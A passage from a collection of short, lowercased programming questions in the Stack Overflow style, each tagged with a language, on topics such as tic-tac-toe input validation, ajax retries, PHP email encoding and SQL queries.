&lt;h3&gt;berkshire&lt;/h3&gt;       &lt;p&gt;hdp &amp;ndash; high definition porcelain&lt;/p&gt;     &lt;/div&gt;   &lt;/a&gt;    &lt;a href= /system/images/series_uploads/11/original/berkshire_25585_walnut_famousdaves01.jpg 1330115118  rel= lightbox[ gallery ] &gt;     &lt;img alt=   src= /system/images/series_uploads/11/gallery/berkshire_25585_walnut_famousdaves01.jpg 1330115118  title= berkshire  /&gt;     &lt;div class= gallery-text &gt;       &lt;h3&gt;berkshire&lt;/h3&gt;       &lt;p&gt;hdp &amp;ndash; high definition porcelain&lt;/p&gt;     &lt;/div&gt;   &lt;/a&gt; &lt;/div&gt; </code></pre>,css
python tic tac toe detecting cheating  so for now i have written a simple tic tac toe game. i haven t even used all the functions i made but here is my question: how can i determine if the player places a 1 or 2 where there already is one  i think i know how to do this  but how can i then put them back at the  input your number  prompt if they enter an illegal character or they try to overwrite an already placed 1 or 2.    also is there a more compact way to do this     here is the code for the game:   <pre><code>nr = [0 0 0 0 0 0 0 0 0] keepgoing = true  def checkp1():     if nr[0] and nr[1] and nr[2] or nr[3] and nr[4] and nr[5] or nr[6] and nr[7] and nr[8] or nr[0] and nr[3] and \        nr[6] or nr[1] and nr[4] and nr[7] or nr[2] and nr[5] and nr[8] or nr[0] and nr[4] and nr[8] or nr[2] and nr[4] and nr[6] == 1:         print( p1 wins )         keepgoing = false         return keepgoing    def checkp2():     if nr[0] and nr[1] and nr[2] or nr[3] and nr[4] and nr[5] or nr[6] and nr[7] and nr[8] or nr[0] and nr[3] and \        nr[6] or nr[1] and nr[4] and nr[7] or nr[2] and nr[5] and nr[8] or nr[0] and nr[4] and nr[8] or nr[2] and nr[4] and nr[6] == 2:         print( p2 wins )         keepgoing = false         return keepgoing  def game():     while keepgoing:         printboard()         in1 = 0         in2 = 0         in1 = input( please enter the number of the position you want to put your symbol p1. )         nr[int(in1)-1] = 1         check = checkp1()         if check == 0:             printboard()             break         in2 = input( please enter the number of the position you want to put your symbol p2. )         check = checkp2()         if check == 0:             printboard()             break         nr[int(in2)-1] = 2  def printboard():     print(   nr[0] nr[1] nr[2]  \n  nr[3] nr[4] nr[5]  \n  nr[6] nr[7] nr[8])  def reset():     nr = [0 0 0 0 0 0 0 0 0]      keepgoing = true </code></pre>,python
what should be the retain count here + iphone  i have following lines of code in a program   <pre><code>visitwebsitevc *visitwebsite          = [[visitwebsitevc alloc] initwithnibname:@ visitwebsitevc  bundle:nil]; nslog(@ retain count :%i  [visitwebsite retaincount]); [self.navigationcontroller pushviewcontroller:visitwebsite animated:yes]; nslog(@ retain count :%i  [visitwebsite retaincount]); [visitwebsite release]; </code></pre>   in the console i see the print statement as   <blockquote>    retain count :1<br>   retain count :5  </blockquote>   i am not getting why the line after i am pushing my viewcontroller is returning retaincount of my viewcontroller as 5  when it must be 2.,iphone
c++ equivalent to the python code:  for x in iterable:   i want to do in c++ something like in python would be:   <pre><code>nums=[31  46  11  6  14  26] nlttf=[] for n in nums:     if n&lt;25:nlttf.append(n) </code></pre>,c++
css inline-block divs not displayed right  can anyone please help me  i have this example of list of links with description. <a href= http://jsfiddle.net/fcn57/3/  rel= nofollow >http://jsfiddle.net/fcn57/3/</a> and i need the decription to start at same line as the first link  but it s allways starting one line below. i thought that <code>inline-block</code> divs should be displayed side by side,css
analyze output of subprocess.popen when piping to file  how can i analyze the output of my command  which i pipe to file  in real-time while the file is written     this is what i have so far:   <pre><code>with open( output.log    w ) as out:     command = [ pg_dump    mydb ]     p = subprocess.popen(cmd  stdout=out  stderr=subprocess.stdout)      for line in iter(p.stdout.readline  b  ):         sys.stdout.flush()         print( &gt;&gt;&gt;   + line.rstrip()) </code></pre>   but this generates the following error:   <pre><code>traceback (most recent call last):   file  pipe-to-file.py   line 95  in &lt;module&gt;     for line in iter(p.stdout.readline  b  ): attributeerror:  nonetype  object has no attribute  readline  </code></pre>   why is <code>p.stdout</code> equal to <code>none</code> here,python
strange structure definition  in code example of intel dpdk i have found this strange syntactical construction. can anybody explain me what does it mean    <pre><code>static const struct rte_eth_conf port_conf = {     .rxmode = {         .split_hdr_size = 0          .header_split   = 0          .hw_ip_checksum = 0          .hw_vlan_filter = 0          .jumbo_frame    = 0          .hw_strip_crc   = 0      }      .txmode = {     } }; </code></pre>,c
on hover show image for textbox  i have a simple textbox  and i would like to show an image if user hovers mouse over the textbox. so at the moment i have   <pre><code>&lt;input type= text  class= textbox  onkeypress= return onlynumbers(event);  id= bitrate  name= bitrate  value= 13000 &gt; </code></pre>   and i want to do it  so that if user hovers over this textbox it will display image.png that is in same directory as the file where this textbox is.    also if someone can point me to some nice jquery tutorials i would be really grateful. i have been doing my own projects for fun trying to learn jquery  but so far i only managed to look up code online  use it  get it to work  and have no idea at all why it worked.,jquery
how to add elements to a list in python  i have a function the encrypt and decrypt a message i want my function to display the answer as such: [ dhbk    vzvp ] but right now this is how it is displaying the result: [ d    h    b    k    v    z    v    p ] how can i change my program so it doesn t do that. right now this is how i m adding to the list   <pre><code>for message in messages:     message = process_message(deck  message  encrypt_decrypt)     new_messages += message return new_messages </code></pre>,python
error while comparing two dates <pre><code> nsdate *today = [nsdate date];  nsdate *staticdate = [nsdate datewithstring:@ 2014-07-12 ];   nscomparisonresult result;   result = [today compare:staticdate];   if(result == nsorderedsame)     {         self.t1.text = @ hello ;     } </code></pre>   i m trying to compare a date with the current date but i m having an error with datewithstring method it says  no known class method for datewithstring:,objective-c
i want to get ids in the label when selecting the picker view data  when selecting i was able to get the data in picker view. but my requirement is when i select the data from picker view i want to get the id of the specific data in the label. here is the below code :   <pre><code>if ([response statuscode] &gt;= 200 &amp;&amp; [response statuscode] &lt; 300)     {         nsstring *responsedata = [nsjsonserialization jsonobjectwithdata:urldata                                                                  options:nsjsonreadingallowfragments error:&amp;error];          nsarray *entries = [nsjsonserialization jsonobjectwithdata:[responsedata datausingencoding:nsutf8stringencoding]                                                            options:0 error:&amp;error];         if(!entries)         {             nslog(@ error : %@   error);         }         else{          for (nsdictionary *entry in entries) {             projid = [entries valueforkey:@ id_project ];            projectnames = [entries valueforkey:@ nm_project ];         }              nslog(@ projid : %@   projid);             _projectpicker.delegate = self;             _projectpicker.datasource = self;         }      }       else {      } </code></pre>   <strong>projid : (1  2  3  4  5 )</strong>   <pre><code>-(void)pickerview:(uipickerview *)pickerview didselectrow:(nsinteger)row incomponent:(nsinteger)component {     nsstring *myarraystring = [projid description];     lblprojects.text = myarraystring;     lbltasks.text = [tasknames objectatindex:[pickerview selectedrowincomponent:1]];     lblsubtasks.text = [subtasknames objectatindex:[pickerview selectedrowincomponent:2]];  } </code></pre>   my problem is i want to load the <strong>proid</strong> in <code>lblprojects.text</code>.    thanks in advance kiran kumar,ios
android app installs but doesnt show up  i ve been looking around and i can t seem to find an answer for this. my android app compiles correctly  no errors or anything  and it installs correctly  but it won t show up in the app drawer  and the  open  button is greyed out. here is my main activity    <pre><code>package com.dogger20011.app;  import android.support.v7.app.actionbaractivity; import android.support.v4.app.fragment; import android.content.intent; import android.os.bundle; import android.view.layoutinflater; import android.view.menu; import android.view.menuitem; import android.view.view; import android.view.viewgroup; import android.os.build;   public class mainactivity extends actionbaractivity {  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      if (savedinstancestate == null) {         getsupportfragmentmanager().begintransaction()                 .add(r.id.container  new                           placeholderfragment()).commit();     }   }  @override public boolean oncreateoptionsmenu(menu menu) {      // inflate the menu; this adds items to the action bar if it is present.     getmenuinflater().inflate(r.menu.main  menu);     return true; }  @override public boolean onoptionsitemselected(menuitem item) {     // handle action bar item clicks here. the action bar will     // automatically handle clicks on the home/up button  so long     // as you specify a parent activity in androidmanifest.xml.     int id = item.getitemid();     if (id == r.id.downloads) {         return true;     }     return super.onoptionsitemselected(item); }  /**  * a placeholder fragment containing a simple view.  */ public static class placeholderfragment extends fragment {      public placeholderfragment() {     }      @override     public view oncreateview(layoutinflater inflater  viewgroup container              bundle savedinstancestate) {         view rootview = inflater.inflate(r.layout.fragment_main  container                  false);         return rootview;     } }  } </code></pre>   got any ideas  thanks!,android
force open ms word file in msword on client system  i have a msword file which is sitting on server.     i want when user tried of open it will open on his computer in msword <strong>directly</strong>.    <pre><code>&lt; php $document = myworddocument.docx ;  /**function to extract text*/ function extracttext($filename)  {     //check for extension     $ext = end(explode( .   $filename));      //if its docx file     if($ext ==  docx )         $datafile =  word/document.xml ;     //else it must be odt file     else         $datafile =  content.xml ;           //create a new zip archive object     $zip = new ziparchive;      // open the archive file     if (true === $zip-&gt;open($filename)) {         // if successful  search for the data file in the archive         if (($index = $zip-&gt;locatename($datafile)) !== false) {             // index found! now read it to a string             $text = $zip-&gt;getfromindex($index);             // load xml from a string             // ignore errors and warnings             $xml = domdocument::loadxml($text  libxml_noent | libxml_xinclude | libxml_noerror | libxml_nowarning);             // remove xml formatting tags and return the text             return strip_tags($xml-&gt;savexml());         }         //close the archive file         $zip-&gt;close();     }      // in case of failure return a message     return  file not found ; }  echo extracttext($document); </code></pre>   i tried above code but this code reads and display the content in browser.  can we achieve this using php,php
iphone add framework  i have added cfnetwork.framework but when i import the header file  cfnetwork.h  it said cfnetwork.h:no such file or directory <img src= https://i.stack.imgur.com/qhhtx.jpg  alt= enter image description here >    <img src= https://i.stack.imgur.com/iqo4r.jpg  alt= enter image description here >,iphone
check if script tag is loading/pending execution or already loaded and executed  consider the following:   <pre><code>var a_script_from_my_dom = document.queryselector( script ) </code></pre>   how can i test  preferably without the use of third party libraries  if this script has finished loading and executing  assume that the script may have been inserted dynamically using <code>createelement / appendchild</code>. also assume that i have no power to change the loaded script to set specific variables or trigger specific behaviour.    i know that i can attach an onload handler  but if the script has already loaded  the handler won t run.,javascript
select items from database with id from x to y in rails  i have very specific task. i need to select items from database with ids from certain range. (from 3 to 8 for example). how do i do this,ruby-on-rails
convert crystal reports into pdf formats  my report is generated successfully in iis and now i want to get that report in pdf format. please guide me - i listed my source below:   <pre><code> protected void button1_click(object sender  eventargs e) {     reportdocument rpt = new reportdocument();     rpt.load(server.mappath( mr.rpt ));     rpt.setdatabaselogon(         ramya-bd     );     rpt.setparametervalue( mrno   ddlmrno.selecteditem.text);      crystalreportviewer1.reportsource = rpt;     response.contenttype =  application/pdf ; } </code></pre>,c#
contents of multiple lists put in a set  is there a way to put contents of mulitple lists to a set  (eliminating the duplicates)    for example contents of lista  listb  listc all be put in a set. (assuming they are of same type),java
linking an asp.net web page to another project s code file  i have a series of .net 2.0 web pojects that have identicle code behind in their web pages. the only thing that is different is how the html is laid out.     is there a way that i can have a main web project that holds all the code behind (including control events like button click) and so that the other web projects reference the web page code file to this project s code files     edit: note that the changes in html include exclution of certain controls  i am catoring for this by using the <code>findcontrol</code> method so that if the control doesnt exists  i would simply have a null value.,asp.net
how to extract a windows cabinet file in python  is it somehow possible to extract .cab files in python,python
using callback function with prototype functions  i am having trouble figuring out how to pass the objects method rather than sort  generic prototype  method when doing callback.   <pre><code>function client() {     this.name =  hello ; }  client.prototype.apicall = function(method  params  callback) {     callback(); }   client.prototype.onlogin = function(error  data) {     console.log(this.name);// undefined!!!! }  client.prototype.start = function() {     var self = this;     self.apicall( rtm.start   {     }  self.onlogin) // passing of method like this does not work. } </code></pre>   i am passing the onlogin method but well it does not work. this is code i have re-written. previously i nested all methods inside the client function but well  i learned that that is not the way to do it so now i am trying using prototype.    i know there is some solution  binding  the onlogin function inside the client() function but well i want to understand the issue.,javascript
reading uiimage from document folder  i need to read the image from document folder and prepare uiimage out of that. but when i call this function everytime memory get increasing and for large scale image this scale is large. following is same code    <pre><code>-(uiimage*) getsavedimagewithname:(nsstring*) afilename {     nsarray *paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);     nsstring *documentsdirectory = [paths objectatindex:0];     nsmutablestring* str = [[nsmutablestring alloc] initwithcapacity:300];     [str appendstring:documentsdirectory];     [str appendstring:@ / ];     [str appendstring:afilename];      nsfilemanager *filemanager = [nsfilemanager defaultmanager];     bool success = [filemanager fileexistsatpath:str];      nsdata *datatowrite = nil;      uiimage* image = nil;       if(!success)     {      }     else      {         datatowrite = [[nsdata alloc] initwithcontentsoffile:str];           image = [uiimage imagewithdata:datatowrite];                                                                                                                                                                                               yes;     }     if(datatowrite)     {         [datatowrite release];         datatowrite = nil;     }      if(str)     {         [str release];         str = nil;     }      if(filemanager)     {         [filemanager release];         filemanager = nil;     }     return image; } </code></pre>   calling this way   <pre><code> [self setfrontviewimage:[self getsavedimagewithname:@ edited ]]; </code></pre>   i am not able to find where it is getting leak.    thanks     sagar,iphone
adding /putting share buttons of facebook twitter in your iphone application   have anyone worked with buttons such as share on facebook twitter email download .please reply.,iphone
unable to get the string i want   i am making a winform c# application. i have a button which will search for a string and give the value next to it. here is my code:   <pre><code>webrequest request = webrequest.create(settings.default.foodlist); webresponse response = request.getresponse(); streamreader sr = new system.io.streamreader(response.getresponsestream());  string foods = sr.readtoend(); string item = txtsearchitem.text;  try {     var startindex = foods.indexof(item +  -   stringcomparison.currentcultureignorecase);     var dashindex = foods.indexof( -   startindex);     var endindex = foods.indexof( \r\n   startindex);     var foodname = foods.substring(startindex  dashindex - startindex);     var footcount = foods.substring(dashindex + 1  endindex - dashindex - 1);     messagebox.show($ item {foodname} is worth {footcount} smartpoints.    item search   messageboxbuttons.ok  info); } catch (exception ex) {     messagebox.show( item was not found.    item search   messageboxbuttons.ok  warning); } </code></pre>   for some reason it will not get the last string. here is what the string contains:   <pre><code>   goldfish-4    eggs-0    banana-0    chicken-0    apple-0    grapes-0 </code></pre>   if i type in <code>grapes</code>  it will say the item was not found. but if i have a messagebox showing the foods string  it will show it correctly. please help. thank you,c#
drawing an infinite grid in ios  i would like to know the best way to create an infinite grid on an ios app i m building. i use internal hardware on an iphone to gather real-world data and build vectors. i d like to visually represent the vector data on this grid that sort of acts like a graph. each vector is represented as a line  and each new vector is attached to the previous vector on this grid. i m building the app so that it can run for however long the user wants (from minutes - hours). the only problem i m having trouble facing is how to start with this grid. i imagine the line on the app can get pretty long if the user runs the app for a couple of hours  so the grid needs to accommodate it and be  infinite  in that manner.     by infinite  i mean that the user can swipe up  down  left  or right on the grid and the lines that make up the grid never end. there s just always going to be a grid on the screen regardless of where they swipe or for how long they swipe. the grid should also take on the properties of a graph as mentioned previously. i m hoping to get something close to this: <a href= https://bl.ocks.org/mbostock/6123708  rel= nofollow noreferrer >https://bl.ocks.org/mbostock/6123708</a>  but this graph cuts off.     i did some research  and most of the questions asking about grids come from the spritekit framework. but i don t know if running a game engine is the best solution. i would like to use core graphics  but if it s not possible to do this on that framework  i can work off of any other suggestions. any help on where to start is appreciated!,ios
how to run a .java program from another .java program   i tried it by extending class name of another program and calling it into the main function  when i go to compile and run it  doesn t give an error but also doesn t give an output of another java program it only gives self program output. if this is the wrong way then please describe it here with an simple example.,java
mysql query to search on main table and  child  table <pre><code>* forum forum_id forum_subject forum_description  * forum_message forum_message_id forum_id forum_message_description </code></pre>   i m looking to have a search by a keyword that it will search on the forum_subject and on the forum_message_description    i came up with the obvious:   <pre><code>select forum_subject  forum_description  forum_id from forum where forum_subject like  %keyword%  </code></pre>   but i can t seem to figure it out how to search on the same query on the forum_message and return the information only from the forum table... maybe a subselect     thanks for your help,mysql
get array key name passed into the function like $array[ key ]  is it possible to get the array key name this way    <pre><code>$array = ( first  =&gt; 1);  function f($object) { echo(   ); //should give first }  f($array[ first ]); </code></pre>,php
get and modify all mail addresses from a string  i am trying to encode (replace each letter with the character s ascii value  to prevent spam) all mail adresses from a string. my idea so far was to replace the mails with a pattern but i haven t managed to then encode the mail address.   <pre><code>function replace_mail($string) {     $pattern =  &lt;[\w.]+@[\w.]+&gt; ;     $replacement = encode_email(mailaddress);     return preg_replace($pattern  $replacement  $string); } </code></pre>   for example:   <pre><code>replace_mail( this is a string with a mail@gmail.com to contact us. ); // output should be: this is a string with a &amp;#109;&amp;#097;&amp;#105;&amp;#108;&amp;#064;&amp;#103;&amp;#109;&amp;#097;&amp;#105;&amp;#108;&amp;#046;&amp;#099;&amp;#111;&amp;#109; to contact us. </code></pre>   the encode function for reference:   <pre><code>function encode_email($e) {     $output =   ;     for ($i = 0; $i &lt; strlen($e); $i++) { $output .=  &amp;# .ord($e[$i]). ; ; }     return $output; } </code></pre>   i ve been looking for a solution for quite a long time now - without success. so now i hope to find one here.,php
why is hashset solution to finding unique characters slow   i made a o(n^2) and o(n) solution to finding unique characters and was curious to really see the performance difference. i would have expected the <code>hashset</code> solution would have blew the o(n^2) solution out of the water  but it s actually slower than just doing nested loops.    <pre><code>import java.util.hashset;  class allunique {     // o(n^2) solution     static boolean isunique(string str)     {         int ind = 0;         boolean unique = true;         while (ind != str.length())         {             int inner_ind = ind + 1;             while (inner_ind != str.length())             {                 if (str.charat(ind) == str.charat(inner_ind))                 {                     unique = false;                 }                 inner_ind++;             }             ind++;         }         return unique;     }      // o(n) solution     static boolean isunique2(string str)     {         hashset&lt;character&gt; set = new hashset&lt;&gt;();         for (int i = 0; i &lt; str.length(); i++)         {             set.add(str.charat(i));         }         return set.size() == str.length();     } } </code></pre>   with a really simple driver that tests millisecond differences: public class program {   <pre><code>    public static void main(string[] args) {         string[] stringarr = new string[10000];         for (int i = 0; i &lt; 10000; i++)         {             stringarr[i] =  wefwefwefwefwefalkjegb ;         }         long starttime = system.currenttimemillis();         for (int i = 0; i &lt; 10000; i++)         {             allunique.isunique(stringarr[i]);         }         long endtime = system.currenttimemillis();         system.out.println( total execution time:   + (endtime-starttime) +  ms );          long starttime2 = system.currenttimemillis();         for (int i = 0; i &lt; 10000; i++)         {             allunique.isunique2(stringarr[i]);         }         long endtime2 = system.currenttimemillis();         system.out.println( total execution time:   + (endtime2-starttime2) +  ms );     } } </code></pre>   does hashing <code>character</code> objects really take that long      usually  the nested loop solution is about 5-10ms faster than the hashset solution.,java
is the an alternative to http_send_stream   the function <strong>http_send_stream</strong> does not exist anymore in pecl_http 2.0    i am trying not to use pecl_http 2.0 since the documentation-situation on www.php.net is quite irritating (still targeted at pecl_http 1).    now my question is: is there a non pecl_http way to send a stream to the browser  (including support for <strong>range-requests</strong> just like http_send_stream),php
stop/start  hover  on click  i am a newbe as it comes to jquery.. i m working on my portfolio  and i m stuck.. i have a page with all portfolio-items (images) that can be sorted by category. so when i press on category  art   all the other catergory s turn to a low opacity so the selected category stay  s highlighted. see it working here: <a href= http://www.idvisual.nl/temp/idvisualv3/  rel= nofollow noreferrer >link text</a>    but when i hover over the items with the low opacity  they become highlighted again. how do i lock this .hover function temporary so that when a category is selected  the other items (images) do nothing when hovered     this is the code i used for the hover in the index.html (this for each category):   <pre><code> var $j = jquery.noconflict();$j(document).ready(function(){         $j( .art ).css({opacity: 0});   // loaded at 0 opacity     $j( .art ).fadeto(900  0.8);    // onload fade items to 80%      $j( .art ).hover(function(){     $j(this).fadeto( fast   1.0);   // rollover at 100%     } function(){     $j(this).fadeto( fast   0.8);   // rollout at 80%     }); }); </code></pre>   and this code for the category filter (code is a external .js file):   <pre><code>    $(document).ready(function() {    $( ul#navfilter a ).click(function() {          $(this).css( outline   none );   $( ul#navfilter .current ).removeclass( current );   $(this).parent().addclass( current );   var filterval = $(this).text().tolowercase().replace(     - );     if(filterval ==  all ) {    $( .wrap .hidden ).fadeto( slow   0.8).removeclass( hidden );   } else {    $( .wrap .masonrywrap &gt; div ).each(function() {                if(!$(this).hasclass(filterval)) {        $(this).fadeto( slow   0.08).addclass( hidden );     } else {      $(this).fadeto( slow   0.8).removeclass( hidden );     }    });   }   return false;  }); }); </code></pre>   i hope someone can help..    thanks!    ------edit-----    oké i changed the event-handler in the first codeblock to:   <pre><code>$j( .art ).hover(function() {     if ( ! j$(this).hasclass( hidden ) ) {          $j(this).fadeto( fast   1.0);       } // rollover at 100% } function(){     if ( ! j$(this).hasclass( hidden ) ) {         $j(this).fadeto( fast   0.8);   // rollout at 80%     } }); </code></pre>   like crazyjugglerdrummer said. but now the hover function doesn t work at all.. and i got a syntax error on a line far further in the document (see last line below):   <pre><code>&lt;script type= text/javascript &gt;$(function(){     //run masonry when page first loads     $( .wrap ).masonry();       //run masonry when window is resized      $(window).resize(function() {         $( .wrap ).masonry();      });  }) //syntax error on this line &lt;/script&gt; </code></pre>   now i putted in the  noconflict  and followed  russ cam s advice like this:   <pre><code>&lt;script type= text/javascript &gt; jquery.noconflict();jquery(document).ready(function($) {     //run masonry when page first loads     jquery( .wrap ).masonry();       //run masonry when window is resized      jquery(window).resize(function() {         jquery( .wrap ).masonry();      });              }); // still syntax error on this line &lt;/script&gt; </code></pre>   but now i still got the syntax error on the last line from above.    am i doing something wrong here    <hr>   thanks crazyjugglerdrummer  only now i get a syntax error on line 206 in the html file  see last line below   <pre><code>&lt;script type= text/javascript &gt;$(function(){ //run masonry when page first loads $( .wrap ).masonry();   //run masonry when window is resized  $(window).resize(function() {     $( .wrap ).masonry();  });          }) //syntax error on this line &lt;/script&gt; </code></pre>   this happens when i put in your code. and when i launch  all the portfolio items don t fadein and hover at all when te page loads.    can somebody tell me what is causing the syntax error  and is the syntax error the reason why nothing fades in (when page loads) or hover s anymore,jquery
if any value exists in any row than return it if not than return with null value  i have a table    <pre><code>col1 col2 300   null 300   a 300   b 400   null </code></pre>   i need output if any value exists in any row than return it if not than return with null value    output:   <pre><code>col1   col2 300     a 300     b 400     null </code></pre>,sql
how can i resolve microsoft.net.test.sdk reference in dotnet test   i m doing a dotnet test but i have this error:   <blockquote>    make sure test project has a nuget reference of package    microsoft.net.test.sdk  and framework version settings are   appropriate.  </blockquote>,.net
ajax call to asp.net server side web service method problem  i am trying to make ajax call to asp.net server side web service method the problem it dose not give me error or exception     i am trying to execute a peace of code when the user click button i want it ti call my custom service and execute it then return me the result in another control [grid view ]     the code is :   <pre><code>&lt;script type =  text/javascript &gt; function myfunction() {     $.ajax({         type:  post           url:  my method           data: bind data          datatype:  json           success: alert();       }); }  &lt;/script&gt; </code></pre>   the problem is it dose not work i try the fire bug and it do not call the method,jquery
angular.js default filtering  i have a simple page with a table and a select. i need to apply a filtering with a default value preselected in the html select. the filter need to be applied immediately  when the page finish the loading phase . here s my code:    the select:    <pre><code>&lt;select class= span2  ng-model= fiass &gt;         &lt;option&gt;&lt;/option&gt;         &lt;option&gt;ftse mib&lt;/option&gt;         &lt;option ng-selected= selected &gt;nasdaq&lt;/option&gt;         &lt;option&gt;dow jones&lt;/option&gt;         &lt;option&gt;dax&lt;/option&gt;         &lt;option&gt;cac40&lt;/option&gt;     &lt;/select&gt; </code></pre>   the repeater and filters   <pre><code>&lt;tr ng-repeat= obj in titoliass | filter:filtroass | filter:exchange| filter:poass | orderby:predicateass:reverseass &gt;             &lt;td&gt;{{obj.titolo}}&lt;/td&gt;             &lt;td class= hidden-phone &gt;{{obj.indice}}&lt;/td&gt;             &lt;td&gt;{{obj.posizione}}&lt;/td&gt;             &lt;td class= hidden-phone &gt;{{obj.prezzo}}&lt;/td&gt;             &lt;td class= hidden-phone &gt;{{obj.s1}}&lt;/td&gt;             &lt;td class= hidden-phone &gt;{{obj.r1}}&lt;/td&gt;             &lt;td class= hidden-phone &gt;{{obj.s2}}&lt;/td&gt;             &lt;td class= hidden-phone &gt;{{obj.r2}}&lt;/td&gt;             &lt;td&gt;&lt;a href= technical_analysis.html idtitolo={{obj.id}}&amp;titolo={{obj.titolo}} &gt;&lt;i class= icon-signal xmlcursor &gt;&lt;/i&gt;&lt;/a&gt;&lt;/td&gt;         &lt;/tr&gt; </code></pre>   the preselection for a default value in the select works but the filter is not applied. the filter is applied only when i change value on the select. i hope the prob is clear.    thx.,angularjs
which selector would be executed   css   <pre><code>#header #site_title_section { float: left; width: 300px;    margin-left: 30px; text-align: center;   #site_title_section #site_title { margin-top: 30px; padding: 10px 0; font-size: 40px;  color: #4379ab; font-weight: bold;     }   #site_title_section #salogon {  font-size: 14px;  margin-left: 20px;  color: #333333;   } </code></pre>   html   <pre><code>    &lt;div id= site_title_section &gt;          &lt;div id= site_title &gt;           professional         &lt;/div&gt;          &lt;div id= salogon &gt;             new media company&lt;/div&gt;         &lt;div class= cleaner &gt;&amp;nbsp;&lt;/div&gt;      &lt;/div&gt; </code></pre>   could someone help me understand this    from the css codes  site_title_section  has appeared three times so when called in html  codes which one would be executed,css
in php are recalls to any given function the variable they return or a call to the function itself  for example:   <pre><code>&lt; php     $text= /p hello ;     $a= explode( /  $text);     $a=$a[1];     echo $a;  &gt; </code></pre>   works  however:   <pre><code>&lt; php     $text= /p hello ;     $a= explode( /  $text)[1];     echo $a;  &gt; </code></pre>   results in a syntax error. in python you can just treat a recall to a function that returns a list/array as a list/array. is this the same for php,php
how to write this sql  specifics inside  assume we have a table which records grades of all students of a class. there are two columns among others in the table: 1) student_id  2) grades  the value of grades is a single letter which can be  a    b    c  or  f . how to write a sql listing all student ids (one student per line) who has never got a  b  grade  thanks.    ps: assume we are using mysql.,sql
retry ajax call until successful  i have an ajax call that i would like to retry when failing  based on this current code :    <pre><code>$.ajax({         url:  &lt;%= my_ruby_on_rails_controller_url_here %&gt;           datatype:  json           type:  get           success: function (json) {             document.getelementbyid( factureload  + json.hashed_id).innerhtml =  &lt;a href=   + json.address +   &gt;&lt;img class= pdficonstyling  src= /assets/pdf4.svg  alt= pdf icon  /&gt; facture_  + json.numfacture +  &lt;/a&gt; ;         }          error: function () {             alert( fail );          }     }); </code></pre>   i have tried to encapsulate it inside a new function with a callback to this function in <code>error</code> (together with <code>settimeout</code>) but it never starts ...    also there could be concurrent ajax calls such as this one for different dom elements.    (there is this useful thread but i am so bad in js i cannot adapt it to my code <a href= https://stackoverflow.com/questions/20583302/how-to-repeat-ajax-call-until-success >how to repeat ajax call until success</a> ),javascript
what kind of format / language this is o:8: stdclass :5:   ( xml   json ) need to extract the value in python.  here s the value :    <pre><code>   o:8: stdclass :5: {s:11: origination ;o:8: stdclass :2:     {s:8: username ;s:9: prod ;s:8: password ;s:8: vi5 ;}     s:9: serviceid ;s:10: 9202501358 ;s:8: elements ;a:1:     {i:0;s:4: 3260 ;}s:11: servicekeys ;a:6:     {i:0;o:8: stdclass :2:         {s:2: id ;i:1;s:5: value ;s:10: 2102799679 ;}i:1;o:8: stdclass :2:         {s:2: id ;i:1395;s:5: value ;s:0:  ;}i:2;o:8: stdclass :2:         {s:2: id ;i:1390;s:5: value ;s:0:  ;}i:3;o:8: stdclass :2:         {s:2: id ;i:1391;s:5: value ;s:0:  ;}i:4;o:8: stdclass :2:         {s:2: id ;i:1392;s:5: value ;s:0:  ;}i:5;o:8: stdclass :2:         {s:2: id ;i:1393;s:5: value ;s:0:  ;}}s:7: transid ;s:1: 1 ;} </code></pre>   i m trying to extract its value that store in <strong>mysql</strong> for variable named  <strong>data</strong>        i m not sure if this is json   but for json it would be something like .. without  <strong>;</strong>    <pre><code>{ employees :[     { firstname : john    lastname : doe }       { firstname : anna    lastname : smith }      { firstname : peter    lastname : jones } ]} </code></pre>   how can i extract this  using python  i normally see xml where i used xpath :  <code>etree.xpath</code> to help extracting the value   but this format is new to me. couldn t figure it out where to start. some recommendation would be greatly appreciated.,python
angularjs updates model fail after http call  i have a group of accounts like <code>[{username: xxx  password: xxx}   ....]</code>  then i print them to page like below    <pre><code>&lt;tr ng-repeat =  account in accounts &gt;    &lt;td&gt;{{account.username}}&lt;td&gt;    &lt;td&gt;{{account.password}}&lt;td&gt;    &lt;td&gt;&lt;button ng-click= resetpassword(account) &gt;reset&lt;/button&gt;&lt;/td&gt; &lt;/tr&gt; </code></pre>   the <code>resetpassword()</code> func    <pre><code>$scope.resetpassword = function(account){         $http.post( /reset/password/ +account.username).success(function(raccount){              account = raccount; //account &amp; raccount have the same structure.          }     }); }; </code></pre>   <strong>the problem is</strong> if i override <code>account=raccount</code>  the password ui never been updated  unless i set the attribute manually like <code>account.password = raccount.password</code>  see this <a href= http://jsfiddle.net/hb7lu/20039/  rel= nofollow >jsfiddle</a>    so  why it doesn t work via obj overriding  then how to fix it  my <code>account</code> is far more complex than this example  it s not a good practice to update one by one i think  thanks.,angularjs
lightweight c# persistent key-value store   i m building a small internal app that runs on webforms and need a lightweight way to store key/value pairs for settings. the keys and values would both be strings  the values being of unknown length and possibly containing formatting characters. what s the simplest thing that could possibly work for this  i had considered using sql to store it  but that just seems silly. all i need are the following features: 1) be able to tell if a key exists 2) be able to retrieve a value by key 3) be able to set a value by key    really  i could get by with simply persisting a dictionary to disk  but i m not sure how to cleanly do it in a way that avoids issues with special characters (like carriage returns  commas  etc.).    anybody have a particularly lazy way to do this     edit: the data items in question will be loaded into a property grid  not into individual winforms controls  so i don t think i ll be able to use the propertybinding infrastructure for this.    edit: i forgot to add that i ll need to be able to add brand new keys at runtime. the full set of keys won t be known at design time.,c#
run ipa on device without cable and not with testflight   is it possible to distribute <code>ipa</code> to device without <code>testflight</code>  and not via cable  i have a new macbook pro with usb-c and an iphone. hard to get company set up <code>testflight</code>. any idea how to test on device,ios
is there any reason this simple sql query should be so slow   this query takes about a minute to give results:   <pre><code>select max(d.docket_id)  max(cus.docket_id) from docket d  cashup_sessions cus </code></pre>   yet this one:   <pre><code>select max(d.docket_id) from docket d union max(cus.docket_id) from cashup_sessions cus </code></pre>   gives its results instantly. i can t see what the first one is doing that would take so much longer - i mean they both simply check the same two lists of numbers for the greatest one and return them. what else could it be doing that i can t see     i m using jet sql on an ms access database via java.,sql
